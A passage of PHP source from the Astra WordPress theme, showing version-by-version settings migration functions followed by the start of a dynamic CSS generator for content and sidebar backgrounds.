$ast_bg_control_options as $key => $bg_option ) { if ( isset( $theme_options[ $bg_option ] ) && ! isset( $theme_options[ $bg_option ]['overlay-type'] ) ) { $bg_type = isset( $theme_options[ $bg_option ]['background-type'] ) ? $theme_options[ $bg_option ]['background-type'] : ''; $theme_options[ $bg_option ]['overlay-type'] = 'none'; $theme_options[ $bg_option ]['overlay-color'] = ''; $theme_options[ $bg_option ]['overlay-opacity'] = ''; $theme_options[ $bg_option ]['overlay-gradient'] = ''; if ( 'image' === $bg_type ) { $bg_img = isset( $theme_options[ $bg_option ]['background-image'] ) ? $theme_options[ $bg_option ]['background-image'] : ''; $bg_color = isset( $theme_options[ $bg_option ]['background-color'] ) ? $theme_options[ $bg_option ]['background-color'] : ''; if ( '' !== $bg_img && '' !== $bg_color && ( ! is_numeric( strpos( $bg_color, 'linear-gradient' ) ) && ! is_numeric( strpos( $bg_color, 'radial-gradient' ) ) ) ) { $theme_options[ $bg_option ]['overlay-type'] = 'classic'; $theme_options[ $bg_option ]['overlay-color'] = $bg_color; $theme_options[ $bg_option ]['overlay-opacity'] = ''; $theme_options[ $bg_option ]['overlay-gradient'] = ''; } } } } $ast_resp_bg_control_options = array( 'hba-footer-bg-obj-responsive', 'hbb-footer-bg-obj-responsive', 'footer-bg-obj-responsive', 'footer-menu-bg-obj-responsive', 'hb-footer-bg-obj-responsive', 'hba-header-bg-obj-responsive', 'hbb-header-bg-obj-responsive', 'hb-header-bg-obj-responsive', 'header-mobile-menu-bg-obj-responsive', 'site-layout-outside-bg-obj-responsive', 'content-bg-obj-responsive', ); $post_types = Astra_Posts_Structure_Loader::get_supported_post_types(); foreach ( $post_types as $index => $post_type ) { $ast_resp_bg_control_options[] = 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-banner-custom-bg'; $ast_resp_bg_control_options[] = 'ast-dynamic-single-' . esc_attr( $post_type ) . '-banner-background'; } $component_limit = defined( 'ASTRA_EXT_VER' ) ? Astra_Builder_Helper::$component_limit : Astra_Builder_Helper::$num_of_header_menu; for ( $index = 1; $index <= $component_limit; $index++ ) { $_prefix = 'menu' . $index; $ast_resp_bg_control_options[] = 'header-' . $_prefix . '-bg-obj-responsive'; } foreach ( $ast_resp_bg_control_options as $key => $resp_bg_option ) { // Desktop version. /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort if ( isset( $theme_options[ $resp_bg_option ]['desktop'] ) && is_array( $theme_options[ $resp_bg_option ]['desktop'] ) && ! isset( $theme_options[ $resp_bg_option ]['desktop']['overlay-type'] ) ) { // @codingStandardsIgnoreStart $desk_bg_type = isset( $theme_options[ $resp_bg_option ]['desktop']['background-type'] ) ? $theme_options[ $resp_bg_option ]['desktop']['background-type'] : ''; // @codingStandardsIgnoreEnd $theme_options[ $resp_bg_option ]['desktop']['overlay-type'] = ''; $theme_options[ $resp_bg_option ]['desktop']['overlay-color'] = ''; $theme_options[ $resp_bg_option ]['desktop']['overlay-opacity'] = ''; $theme_options[ $resp_bg_option ]['desktop']['overlay-gradient'] = ''; if ( 'image' === $desk_bg_type ) { $bg_img = isset( $theme_options[ $resp_bg_option ]['desktop']['background-image'] ) ? $theme_options[ $resp_bg_option ]['desktop']['background-image'] : ''; $bg_color = isset( $theme_options[ $resp_bg_option ]['desktop']['background-color'] ) ? $theme_options[ $resp_bg_option ]['desktop']['background-color'] : ''; if ( '' !== $bg_img && '' !== $bg_color && ( ! is_numeric( strpos( $bg_color, 'linear-gradient' ) ) && ! is_numeric( strpos( $bg_color, 'radial-gradient' ) ) ) ) { $theme_options[ $resp_bg_option ]['desktop']['overlay-type'] = 'classic'; $theme_options[ $resp_bg_option ]['desktop']['overlay-color'] = $bg_color; $theme_options[ $resp_bg_option ]['desktop']['overlay-opacity'] = ''; $theme_options[ $resp_bg_option ]['desktop']['overlay-gradient'] = ''; } } } // Tablet version. /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort if ( isset( $theme_options[ $resp_bg_option ]['tablet'] ) && is_array( $theme_options[ $resp_bg_option ]['tablet'] ) && ! isset( $theme_options[ $resp_bg_option ]['tablet']['overlay-type'] ) ) { // @codingStandardsIgnoreStart $tablet_bg_type = isset( $theme_options[ $resp_bg_option ]['tablet']['background-type'] ) ? $theme_options[ $resp_bg_option ]['tablet']['background-type'] : ''; // @codingStandardsIgnoreEnd $theme_options[ $resp_bg_option ]['tablet']['overlay-type'] = ''; $theme_options[ $resp_bg_option ]['tablet']['overlay-color'] = ''; $theme_options[ $resp_bg_option ]['tablet']['overlay-opacity'] = ''; $theme_options[ $resp_bg_option ]['tablet']['overlay-gradient'] = ''; if ( 'image' === $tablet_bg_type ) { $bg_img = isset( $theme_options[ $resp_bg_option ]['tablet']['background-image'] ) ? $theme_options[ $resp_bg_option ]['tablet']['background-image'] : ''; $bg_color = isset( $theme_options[ $resp_bg_option ]['tablet']['background-color'] ) ? $theme_options[ $resp_bg_option ]['tablet']['background-color'] : ''; if ( '' !== $bg_img && '' !== $bg_color && ( ! is_numeric( strpos( $bg_color, 'linear-gradient' ) ) && ! is_numeric( strpos( $bg_color, 'radial-gradient' ) ) ) ) { $theme_options[ $resp_bg_option ]['tablet']['overlay-type'] = 'classic'; $theme_options[ $resp_bg_option ]['tablet']['overlay-color'] = $bg_color; $theme_options[ $resp_bg_option ]['tablet']['overlay-opacity'] = ''; $theme_options[ $resp_bg_option ]['tablet']['overlay-gradient'] = ''; } } } // Mobile version. /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort if ( isset( $theme_options[ $resp_bg_option ]['mobile'] ) && is_array( $theme_options[ $resp_bg_option ]['mobile'] ) && ! isset( $theme_options[ $resp_bg_option ]['mobile']['overlay-type'] ) ) { // @codingStandardsIgnoreStart $mobile_bg_type = isset( $theme_options[ $resp_bg_option ]['mobile']['background-type'] ) ? $theme_options[ $resp_bg_option ]['mobile']['background-type'] : ''; // @codingStandardsIgnoreEnd $theme_options[ $resp_bg_option ]['mobile']['overlay-type'] = ''; $theme_options[ $resp_bg_option ]['mobile']['overlay-color'] = ''; $theme_options[ $resp_bg_option ]['mobile']['overlay-opacity'] = ''; $theme_options[ $resp_bg_option ]['mobile']['overlay-gradient'] = ''; if ( 'image' === $mobile_bg_type ) { $bg_img = isset( $theme_options[ $resp_bg_option ]['mobile']['background-image'] ) ? $theme_options[ $resp_bg_option ]['mobile']['background-image'] : ''; $bg_color = isset( $theme_options[ $resp_bg_option ]['mobile']['background-color'] ) ? $theme_options[ $resp_bg_option ]['mobile']['background-color'] : ''; if ( '' !== $bg_img && '' !== $bg_color && ( ! is_numeric( strpos( $bg_color, 'linear-gradient' ) ) && ! is_numeric( strpos( $bg_color, 'radial-gradient' ) ) ) ) { $theme_options[ $resp_bg_option ]['mobile']['overlay-type'] = 'classic'; $theme_options[ $resp_bg_option ]['mobile']['overlay-color'] = $bg_color; $theme_options[ $resp_bg_option ]['mobile']['overlay-opacity'] = ''; $theme_options[ $resp_bg_option ]['mobile']['overlay-gradient'] = ''; } } } } $theme_options['v4-1-4-update-migration'] = true; update_option( 'astra-settings', $theme_options ); } } /** * Handle backward compatibility on version 4.1.6 * * @since 4.1.6 * @return void */ function astra_theme_background_updater_4_1_6() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['list-block-vertical-spacing'] ) ) { $theme_options['list-block-vertical-spacing'] = false; update_option( 'astra-settings', $theme_options ); } } /** * Set flag to avoid direct reflections on live site & to maintain backward compatibility for existing users. * * @since 4.1.7 * @return void */ function astra_theme_background_updater_4_1_7() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['add-hr-styling-css'] ) ) { $theme_options['add-hr-styling-css'] = false; update_option( 'astra-settings', $theme_options ); } if ( ! isset( $theme_options['astra-site-svg-logo-equal-height'] ) ) { $theme_options['astra-site-svg-logo-equal-height'] = false; update_option( 'astra-settings', $theme_options ); } } /** * Migrating users to new container layout options * * @since 4.2.0 * @return void */ function astra_theme_background_updater_4_2_0() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['v4-2-0-update-migration'] ) ) { $post_types = Astra_Posts_Structure_Loader::get_supported_post_types(); $theme_options = get_option( 'astra-settings' ); $blog_types = array( 'single', 'archive' ); $third_party_layouts = array( 'woocommerce', 'edd', 'lifterlms', 'lifterlms-course-lesson', 'learndash' ); // Global. if ( isset( $theme_options['site-content-layout'] ) ) { $theme_options = astra_apply_layout_migration( 'site-content-layout', 'ast-site-content-layout', 'site-content-style', 'site-sidebar-style', $theme_options ); } // Single, archive. foreach ( $blog_types as $index => $blog_type ) { foreach ( $post_types as $index => $post_type ) { $old_layout = $blog_type . '-' . esc_attr( $post_type ) . '-content-layout'; $new_layout = $blog_type . '-' . esc_attr( $post_type ) . '-ast-content-layout'; $content_style = $blog_type . '-' . esc_attr( $post_type ) . '-content-style'; $sidebar_style = $blog_type . '-' . esc_attr( $post_type ) . '-sidebar-style'; if ( isset( $theme_options[ $old_layout ] ) ) { $theme_options = astra_apply_layout_migration( $old_layout, $new_layout, $content_style, $sidebar_style, $theme_options ); } } } // Third party existing layout migrations to new layout options. foreach ( $third_party_layouts as $index => $layout ) { $old_layout = $layout . '-content-layout'; $new_layout = $layout . '-ast-content-layout'; $content_style = $layout . '-content-style'; $sidebar_style = $layout . '-sidebar-style'; if ( isset( $theme_options[ $old_layout ] ) ) { if ( 'lifterlms' === $layout ) { // Lifterlms course/lesson sidebar style migration case. $theme_options = astra_apply_layout_migration( $old_layout, $new_layout, $content_style, 'lifterlms-course-lesson-sidebar-style', $theme_options ); } $theme_options = astra_apply_layout_migration( $old_layout, $new_layout, $content_style, $sidebar_style, $theme_options ); } } if ( ! isset( $theme_options['fullwidth_sidebar_support'] ) ) { $theme_options['fullwidth_sidebar_support'] = false; } $theme_options['v4-2-0-update-migration'] = true; update_option( 'astra-settings', $theme_options ); } } /** * Handle migration from old to new layouts. * * Migration cases for old users, old layouts -> new layouts. * * @since 4.2.0 * @param mixed $old_layout old_layout. * @param mixed $new_layout new_layout. * @param mixed $content_style content_style. * @param mixed $sidebar_style sidebar_style. * @param array $theme_options theme_options. * @return array $theme_options The updated theme options. */ function astra_apply_layout_migration( $old_layout, $new_layout, $content_style, $sidebar_style, $theme_options ) { switch ( astra_get_option( $old_layout ) ) { case 'boxed-container': $theme_options[ $new_layout ] = 'normal-width-container'; $theme_options[ $content_style ] = 'boxed'; $theme_options[ $sidebar_style ] = 'boxed'; break; case 'content-boxed-container': $theme_options[ $new_layout ] = 'normal-width-container'; $theme_options[ $content_style ] = 'boxed'; $theme_options[ $sidebar_style ] = 'unboxed'; break; case 'plain-container': $theme_options[ $new_layout ] = 'normal-width-container'; $theme_options[ $content_style ] = 'unboxed'; $theme_options[ $sidebar_style ] = 'unboxed'; break; case 'page-builder': $theme_options[ $new_layout ] = 'full-width-container'; $theme_options[ $content_style ] = 'unboxed'; $theme_options[ $sidebar_style ] = 'unboxed'; break; case 'narrow-container': $theme_options[ $new_layout ] = 'narrow-width-container'; $theme_options[ $content_style ] = 'unboxed'; $theme_options[ $sidebar_style ] = 'unboxed'; break; default: $theme_options[ $new_layout ] = 'default'; $theme_options[ $content_style ] = 'default'; $theme_options[ $sidebar_style ] = 'default'; break; } return $theme_options; } /** * Handle backward compatibility on version 4.2.2 * * @since 4.2.2 * @return void */ function astra_theme_background_updater_4_2_2() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['v4-2-2-core-form-btns-styling'] ) ) { $theme_options['v4-2-2-core-form-btns-styling'] = false; update_option( 'astra-settings', $theme_options ); } } /** * Handle backward compatibility on version 4.6.0 * * @since 4.4.0 * @return void */ function astra_theme_background_updater_4_4_0() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['v4-4-0-backward-option'] ) ) { $theme_options['v4-4-0-backward-option'] = false; // Migrate primary button outline styles to secondary buttons. if ( isset( $theme_options['font-family-button'] ) ) { $theme_options['secondary-font-family-button'] = $theme_options['font-family-button']; } if ( isset( $theme_options['font-size-button'] ) ) { $theme_options['secondary-font-size-button'] = $theme_options['font-size-button']; } if ( isset( $theme_options['font-weight-button'] ) ) { $theme_options['secondary-font-weight-button'] = $theme_options['font-weight-button']; } if ( isset( $theme_options['font-extras-button'] ) ) { $theme_options['secondary-font-extras-button'] = $theme_options['font-extras-button']; } if ( isset( $theme_options['button-bg-color'] ) ) { $theme_options['secondary-button-bg-color'] = $theme_options['button-bg-color']; } if ( isset( $theme_options['button-bg-h-color'] ) ) { $theme_options['secondary-button-bg-h-color'] = $theme_options['button-bg-h-color']; } if ( isset( $theme_options['theme-button-border-group-border-color'] ) ) { $theme_options['secondary-theme-button-border-group-border-color'] = $theme_options['theme-button-border-group-border-color']; } if ( isset( $theme_options['theme-button-border-group-border-h-color'] ) ) { $theme_options['secondary-theme-button-border-group-border-h-color'] = $theme_options['theme-button-border-group-border-h-color']; } if ( isset( $theme_options['button-radius-fields'] ) ) { $theme_options['secondary-button-radius-fields'] = $theme_options['button-radius-fields']; } // Single - Article Featured Image visibility migration. $post_types = Astra_Posts_Structure_Loader::get_supported_post_types(); foreach ( $post_types as $index => $post_type ) { $theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-article-featured-image-position-layout-1' ] = 'none'; $theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-article-featured-image-position-layout-2' ] = 'none'; $theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-article-featured-image-ratio-type' ] = 'default'; } update_option( 'astra-settings', $theme_options ); } } /** * Handle backward compatibility on version 4.5.0. * * @since 4.5.0 * @return void */ function astra_theme_background_updater_4_5_0() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['v4-5-0-backward-option'] ) ) { $theme_options['v4-5-0-backward-option'] = false; $palette_options = get_option( 'astra-color-palettes', Astra_Global_Palette::get_default_color_palette() ); if ( ! isset( $palette_options['presets'] ) ) { $palette_options['presets'] = astra_get_palette_presets(); update_option( 'astra-color-palettes', $palette_options ); } update_option( 'astra-settings', $theme_options ); } } /** * Handle backward compatibility on version 4.5.2. * * @since 4.5.2 * @return void */ function astra_theme_background_updater_4_5_2() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['scndry-btn-default-padding'] ) ) { $theme_options['scndry-btn-default-padding'] = false; update_option( 'astra-settings', $theme_options ); } } /** * Handle backward compatibility on version 4.6.0 * * @since 4.6.0 * @return void */ function astra_theme_background_updater_4_6_0() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['v4-6-0-backward-option'] ) ) { $theme_options['v4-6-0-backward-option'] = false; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $blog_post_structure = isset( $theme_options['blog-post-structure'] ) ? $theme_options['blog-post-structure'] : array( 'image', 'title-meta' ); /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $migrated_post_structure = array(); if ( ! empty( $blog_post_structure ) ) { /** @psalm-suppress PossiblyInvalidIterator */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort foreach ( $blog_post_structure as $key ) { /** @psalm-suppress PossiblyInvalidIterator */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort if ( 'title-meta' === $key ) { $migrated_post_structure[] = 'title'; $migrated_post_structure[] = 'title-meta'; } if ( 'image' === $key ) { $migrated_post_structure[] = 'image'; } } $migrated_post_structure[] = 'excerpt'; $migrated_post_structure[] = 'read-more'; $theme_options['blog-post-structure'] = $migrated_post_structure; } if ( defined( 'ASTRA_EXT_VER' ) ) { $theme_options['ast-sub-section-author-box-border-width'] = isset( $theme_options['author-box-border-width'] ) ? $theme_options['author-box-border-width'] : array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ); $theme_options['ast-sub-section-author-box-border-radius'] = isset( $theme_options['author-box-border-radius'] ) ? $theme_options['author-box-border-radius'] : array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ); $theme_options['ast-sub-section-author-box-border-color'] = isset( $theme_options['author-box-border-color'] ) ? $theme_options['author-box-border-color'] : ''; if ( isset( $theme_options['single-post-inside-spacing'] ) ) { $theme_options['ast-sub-section-author-box-padding'] = $theme_options['single-post-inside-spacing']; } if ( isset( $theme_options['font-family-post-meta'] ) ) { $theme_options['font-family-post-read-more'] = $theme_options['font-family-post-meta']; } if ( isset( $theme_options['font-extras-post-meta'] ) ) { $theme_options['font-extras-post-read-more'] = $theme_options['font-extras-post-meta']; } } if ( isset( $theme_options['single-post-inside-spacing'] ) ) { $theme_options['ast-sub-section-related-posts-padding'] = $theme_options['single-post-inside-spacing']; } $theme_options['single-content-images-shadow'] = false; $theme_options['ast-font-style-update'] = false; update_option( 'astra-settings', $theme_options ); } $docs_legacy_data = get_option( 'astra_docs_data', array() ); if ( ! empty( $docs_legacy_data ) ) { delete_option( 'astra_docs_data' ); } } /** * Handle backward compatibility on version 4.6.2. * * @since 4.6.2 * @return void */ function astra_theme_background_updater_4_6_2() { $theme_options = get_option( 'astra-settings', array() ); // Unset "featured image" for pages structure. if ( ! isset( $theme_options['v4-6-2-backward-option'] ) ) { $theme_options['v4-6-2-backward-option'] = false; $page_banner_layout = isset( $theme_options['ast-dynamic-single-page-layout'] ) ? $theme_options['ast-dynamic-single-page-layout'] : 'layout-1'; $page_structure = isset( $theme_options['ast-dynamic-single-page-structure'] ) ? $theme_options['ast-dynamic-single-page-structure'] : array( 'ast-dynamic-single-page-image', 'ast-dynamic-single-page-title' ); $layout_1_image_position = isset( $theme_options['ast-dynamic-single-page-article-featured-image-position-layout-1'] ) ? $theme_options['ast-dynamic-single-page-article-featured-image-position-layout-1'] : 'behind'; $migrated_page_structure = array(); if ( 'layout-1' === $page_banner_layout && 'none' === $layout_1_image_position && ! empty( $page_structure ) ) { foreach ( $page_structure as $key ) { if ( 'ast-dynamic-single-page-image' !== $key ) { $migrated_page_structure[] = $key; } } $theme_options['ast-dynamic-single-page-structure'] = $migrated_page_structure; } update_option( 'astra-settings', $theme_options ); } } /** * Handle backward compatibility on version 4.6.4. * * @since 4.6.4 * @return void */ function astra_theme_background_updater_4_6_4() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['btn-stylings-upgrade'] ) ) { $theme_options['btn-stylings-upgrade'] = false; update_option( 'astra-settings', $theme_options ); } } /** * Handle backward compatibility for Elementor Pro heading's margin. * * @since 4.6.5 * @return void */ function astra_theme_background_updater_4_6_5() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['elementor-headings-style'] ) ) { $theme_options['elementor-headings-style'] = defined( 'ELEMENTOR_PRO_VERSION' ) ? true : false; update_option( 'astra-settings', $theme_options ); } } /** * Handle backward compatibility for Elementor Loop block post div container padding. * * @since 4.6.6 * @return void */ function astra_theme_background_updater_4_6_6() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['elementor-container-padding-style'] ) ) { $theme_options['elementor-container-padding-style'] = defined( 'ELEMENTOR_PRO_VERSION' ) ? true : false; update_option( 'astra-settings', $theme_options ); } } /** * Handle backward compatibility for Starter template library preview line height cases. * * @since 4.6.11 * @return void */ function astra_theme_background_updater_4_6_11() { $theme_options = get_option( 'astra-settings', array() ); if ( isset( $theme_options['global-headings-line-height-update'] ) ) { return; } $headers_fonts = array( 'h1' => '1.4', 'h2' => '1.3', 'h3' => '1.3', 'h4' => '1.2', 'h5' => '1.2', 'h6' => '1.25', ); foreach ( $headers_fonts as $header_tag => $header_font_value ) { if ( empty( $theme_options[ 'font-extras-' . $header_tag ]['line-height'] ) ) { $theme_options[ 'font-extras-' . $header_tag ]['line-height'] = $header_font_value; if ( empty( $theme_options[ 'font-extras-' . $header_tag ]['line-height-unit'] ) ) { $theme_options[ 'font-extras-' . $header_tag ]['line-height-unit'] = 'em'; } } } $theme_options['global-headings-line-height-update'] = true; update_option( 'astra-settings', $theme_options ); } /** * Handle backward compatibility for heading `clear:both` css in single posts and pages. * * @since 4.6.12 * @return void */ function astra_theme_background_updater_4_6_12() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['single_posts_pages_heading_clear_none'] ) ) { $theme_options['single_posts_pages_heading_clear_none'] = false; update_option( 'astra-settings', $theme_options ); } if ( ! isset( $theme_options['elementor-btn-styling'] ) ) { $theme_options['elementor-btn-styling'] = defined( 'ELEMENTOR_VERSION' ) ? true : false; update_option( 'astra-settings', $theme_options ); } if ( ! isset( $theme_options['remove_single_posts_navigation_mobile_device_padding'] ) ) { $theme_options['remove_single_posts_navigation_mobile_device_padding'] = true; update_option( 'astra-settings', $theme_options ); } } /** * Handle backward compatibility for following pointers. * * 1. unit less line-height support. * 2. H5 font size case. * * @since 4.6.14 * @return void */ function astra_theme_background_updater_4_6_14() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['enable-4-6-14-compatibility'] ) ) { $theme_options['enable-4-6-14-compatibility'] = false; update_option( 'astra-settings', $theme_options ); } } /** * Handle backward compatibility for following cases. * * 1. Making edd default option enable by default. * 2. Handle backward compatibility for Heading font size fix. * * @since 4.7.0 * @return void */ function astra_theme_background_updater_4_7_0() { $theme_options = get_option( 'astra-settings', array() ); if ( class_exists( 'Easy_Digital_Downloads' ) && ! isset( $theme_options['can-update-edd-featured-image-default'] ) ) { $theme_options['can-update-edd-featured-image-default'] = false; update_option( 'astra-settings', $theme_options ); } if ( ! isset( $theme_options['heading-widget-font-size'] ) ) { $theme_options['heading-widget-font-size'] = false; update_option( 'astra-settings', $theme_options ); } } /** * Handle backward compatibility for version 4.7.1 * * @since 4.7.1 * @return void */ function astra_theme_background_updater_4_7_1() { $theme_options = get_option( 'astra-settings', array() ); // Setting same background color for above and below transparent headers as on transparent primary header. if ( isset( $theme_options['transparent-header-bg-color-responsive'] ) ) { if ( ! isset( $theme_options['hba-transparent-header-bg-color-responsive'] ) ) { $theme_options['hba-transparent-header-bg-color-responsive'] = $theme_options['transparent-header-bg-color-responsive']; } if ( ! isset( $theme_options['hbb-transparent-header-bg-color-responsive'] ) ) { $theme_options['hbb-transparent-header-bg-color-responsive'] = $theme_options['transparent-header-bg-color-responsive']; } update_option( 'astra-settings', $theme_options ); } } /** * Handle backward compatibility Spectra Heading max-width with Astra when fullwidth layout is selected. * * @since 4.8.0 * @return void */ function astra_theme_background_updater_4_8_0() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['enable-4-8-0-compatibility'] ) ) { $theme_options['enable-4-8-0-compatibility'] = false; update_option( 'astra-settings', $theme_options ); } } /** * Handle backward compatibility Single post outside spacing issue. * * @since 4.8.2 * @return void */ function astra_theme_background_updater_4_8_2() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['v4-8-2-backward-option'] ) ) { $theme_options['v4-8-2-backward-option'] = false; update_option( 'astra-settings', $theme_options ); } }/** * Content Background - Dynamic CSS * * @package astra * @since 3.7.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } add_filter( 'astra_dynamic_theme_css', 'astra_content_background_css', 11 ); /** * Content Background - Dynamic CSS * * @param string $dynamic_css Astra Dynamic CSS. * @return String Generated dynamic CSS for content background. * * @since 3.2.0 */ function astra_content_background_css( $dynamic_css ) { if ( ! astra_has_gcp_typo_preset_compatibility() ) { return $dynamic_css; } $content_bg_obj = astra_get_option( 'content-bg-obj-responsive' ); // Override content background with meta value if set. $meta_background_enabled = astra_get_option_meta( 'ast-page-background-enabled' ); // Check for third party pages meta. if ( '' === $meta_background_enabled && astra_with_third_party() ) { $meta_background_enabled = astra_third_party_archive_meta( 'ast-page-background-enabled' ); if ( isset( $meta_background_enabled ) && 'enabled' === $meta_background_enabled ) { $content_bg_obj = astra_third_party_archive_meta( 'ast-content-background-meta' ); } } elseif ( isset( $meta_background_enabled ) && 'enabled' === $meta_background_enabled ) { $content_bg_obj = astra_get_option_meta( 'ast-content-background-meta' ); } $blog_layout = astra_get_blog_layout(); $blog_grid = astra_get_option( 'blog-grid' ); $sidebar_default_css = $content_bg_obj; $is_boxed = astra_is_content_style_boxed(); $is_sidebar_boxed = astra_is_sidebar_style_boxed(); $current_layout = astra_get_content_layout(); $narrow_dynamic_selector = 'narrow-width-container' === $current_layout && $is_boxed ? ', .ast-narrow-container .site-content' : ''; $comments_wrapper_bg_selector = Astra_Dynamic_CSS::astra_4_6_0_compatibility() ? ', .ast-separate-container .comments-area' : ', .ast-separate-container .comments-area .comment-respond, .ast-separate-container .comments-area .ast-comment-list li, .ast-separate-container .comments-area .comments-title'; $author_box_extra_selector = ( true === astra_check_is_structural_setup() ) ? '.site-main' : ''; // Apply unboxed container with sidebar boxed look by changing background color to site background color. $content_bg_obj = astra_apply_unboxed_container( $content_bg_obj, $is_boxed, $is_sidebar_boxed, $current_layout ); // Container Layout Colors. $container_css = array( '.ast-separate-container .ast-article-single:not(.ast-related-post), .woocommerce.ast-separate-container .ast-woocommerce-container, .ast-separate-container .error-404, .ast-separate-container .no-results, .single.ast-separate-container ' . esc_attr( $author_box_extra_selector ) . ' .ast-author-meta, .ast-separate-container .related-posts-title-wrapper,.ast-separate-container .comments-count-wrapper, .ast-box-layout.ast-plain-container .site-content,.ast-padded-layout.ast-plain-container .site-content, .ast-separate-container .ast-archive-description' . $narrow_dynamic_selector . $comments_wrapper_bg_selector => astra_get_responsive_background_obj( $content_bg_obj, 'desktop' ), ); // Container Layout Colors. $container_css_tablet = array( '.ast-separate-container .ast-article-single:not(.ast-related-post), .woocommerce.ast-separate-container .ast-woocommerce-container, .ast-separate-container .error-404, .ast-separate-container .no-results, .single.ast-separate-container ' . esc_attr( $author_box_extra_selector ) . ' .ast-author-meta, .ast-separate-container .related-posts-title-wrapper,.ast-separate-container .comments-count-wrapper, .ast-box-layout.ast-plain-container .site-content,.ast-padded-layout.ast-plain-container .site-content, .ast-separate-container .ast-archive-description' . $narrow_dynamic_selector => astra_get_responsive_background_obj( $content_bg_obj, 'tablet' ), ); // Container Layout Colors. $container_css_mobile = array( '.ast-separate-container .ast-article-single:not(.ast-related-post), .woocommerce.ast-separate-container .ast-woocommerce-container, .ast-separate-container .error-404, .ast-separate-container .no-results, .single.ast-separate-container ' . esc_attr( $author_box_extra_selector ) . ' .ast-author-meta, .ast-separate-container .related-posts-title-wrapper,.ast-separate-container .comments-count-wrapper, .ast-box-layout.ast-plain-container .site-content,.ast-padded-layout.ast-plain-container .site-content, .ast-separate-container .ast-archive-description' . $narrow_dynamic_selector => astra_get_responsive_background_obj( $content_bg_obj, 'mobile' ), ); // Sidebar specific css. $sidebar_css = array( '.ast-separate-container.ast-two-container #secondary .widget' => astra_get_responsive_background_obj( $sidebar_default_css, 'desktop' ), ); // Sidebar specific css. $sidebar_css_tablet = array( '.ast-separate-container.ast-two-container #secondary .widget' => astra_get_responsive_background_obj( $sidebar_default_css, 'tablet' ), ); // Sidebar specific css. $sidebar_css_mobile = array( '.ast-separate-container.ast-two-container #secondary .widget' => astra_get_responsive_background_obj( $sidebar_default_css, 'mobile' ), ); // Apply Content BG Color for Narrow Unboxed Container. if ( ! astra_is_content_style_boxed() && 'narrow-container' === $current_layout ) { $container_css = array_merge( $container_css, array( '.ast-narrow-container .site-content' => astra_get_responsive_background_obj( $content_bg_obj, 'desktop' ) ) ); $container_css_tablet = array_merge( $container_css_tablet, array( '.ast-narrow-container .site-content' => astra_get_responsive_background_obj( $content_bg_obj, 'tablet' ) ) ); $container_css_mobile = array_merge( $container_css_mobile, array( '.ast-narrow-container .site-content' => astra_get_responsive_background_obj( $content_bg_obj, 'mobile' ) ) ); } // Blog Pro Layout Colors. if ( ( 'blog-layout-1' === $blog_layout || 'blog-layout-4' === $blog_layout || 'blog-layout-6' === $blog_layout ) || ( defined( 'ASTRA_EXT_VER' ) && ( 'blog-layout-1' === $blog_layout || 'blog-layout-4' === $blog_layout || 'blog-layout-6' === $blog_layout ) && 1 !== $blog_grid ) ) { $blog_layouts = array( '.ast-separate-container .ast-article-inner' => astra_get_responsive_background_obj( $content_bg_obj, 'desktop' ), ); $blog_layouts_tablet = array( '.ast-separate-container .ast-article-inner' => astra_get_responsive_background_obj( $content_bg_obj, 'tablet' ), ); $blog_layouts_mobile = array( '.ast-separate-container .ast-article-inner' => astra_get_responsive_background_obj( $content_bg_obj, 'mobile' ), ); } else { $blog_layouts = array( '.ast-separate-container .ast-article-post' => astra_get_responsive_background_obj( $content_bg_obj, 'desktop' ), ); $blog_layouts_tablet = array( '.ast-separate-container .ast-article-post' => astra_get_responsive_background_obj( $content_bg_obj, 'tablet' ), ); $blog_layouts_mobile = array( '.ast-separate-container .ast-article-post' => astra_get_responsive_background_obj( $content_bg_obj, 'mobile' ), ); $inner_layout = array( '.ast-separate-container .ast-article-inner' => array( 'background-color' => 'transparent', 'background-image' => 'none', ), ); $dynamic_css .= astra_parse_css( $inner_layout ); } $dynamic_css .= astra_parse_css( $blog_layouts ); /** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $dynamic_css .= astra_parse_css( $blog_layouts_tablet, '', astra_get_tablet_breakpoint() ); /** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $dynamic_css .= astra_parse_css( $blog_layouts_mobile, '', astra_get_mobile_breakpoint() ); $dynamic_css .= astra_parse_css( $container_css ); /** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $dynamic_css .= astra_parse_css( $container_css_tablet, '', 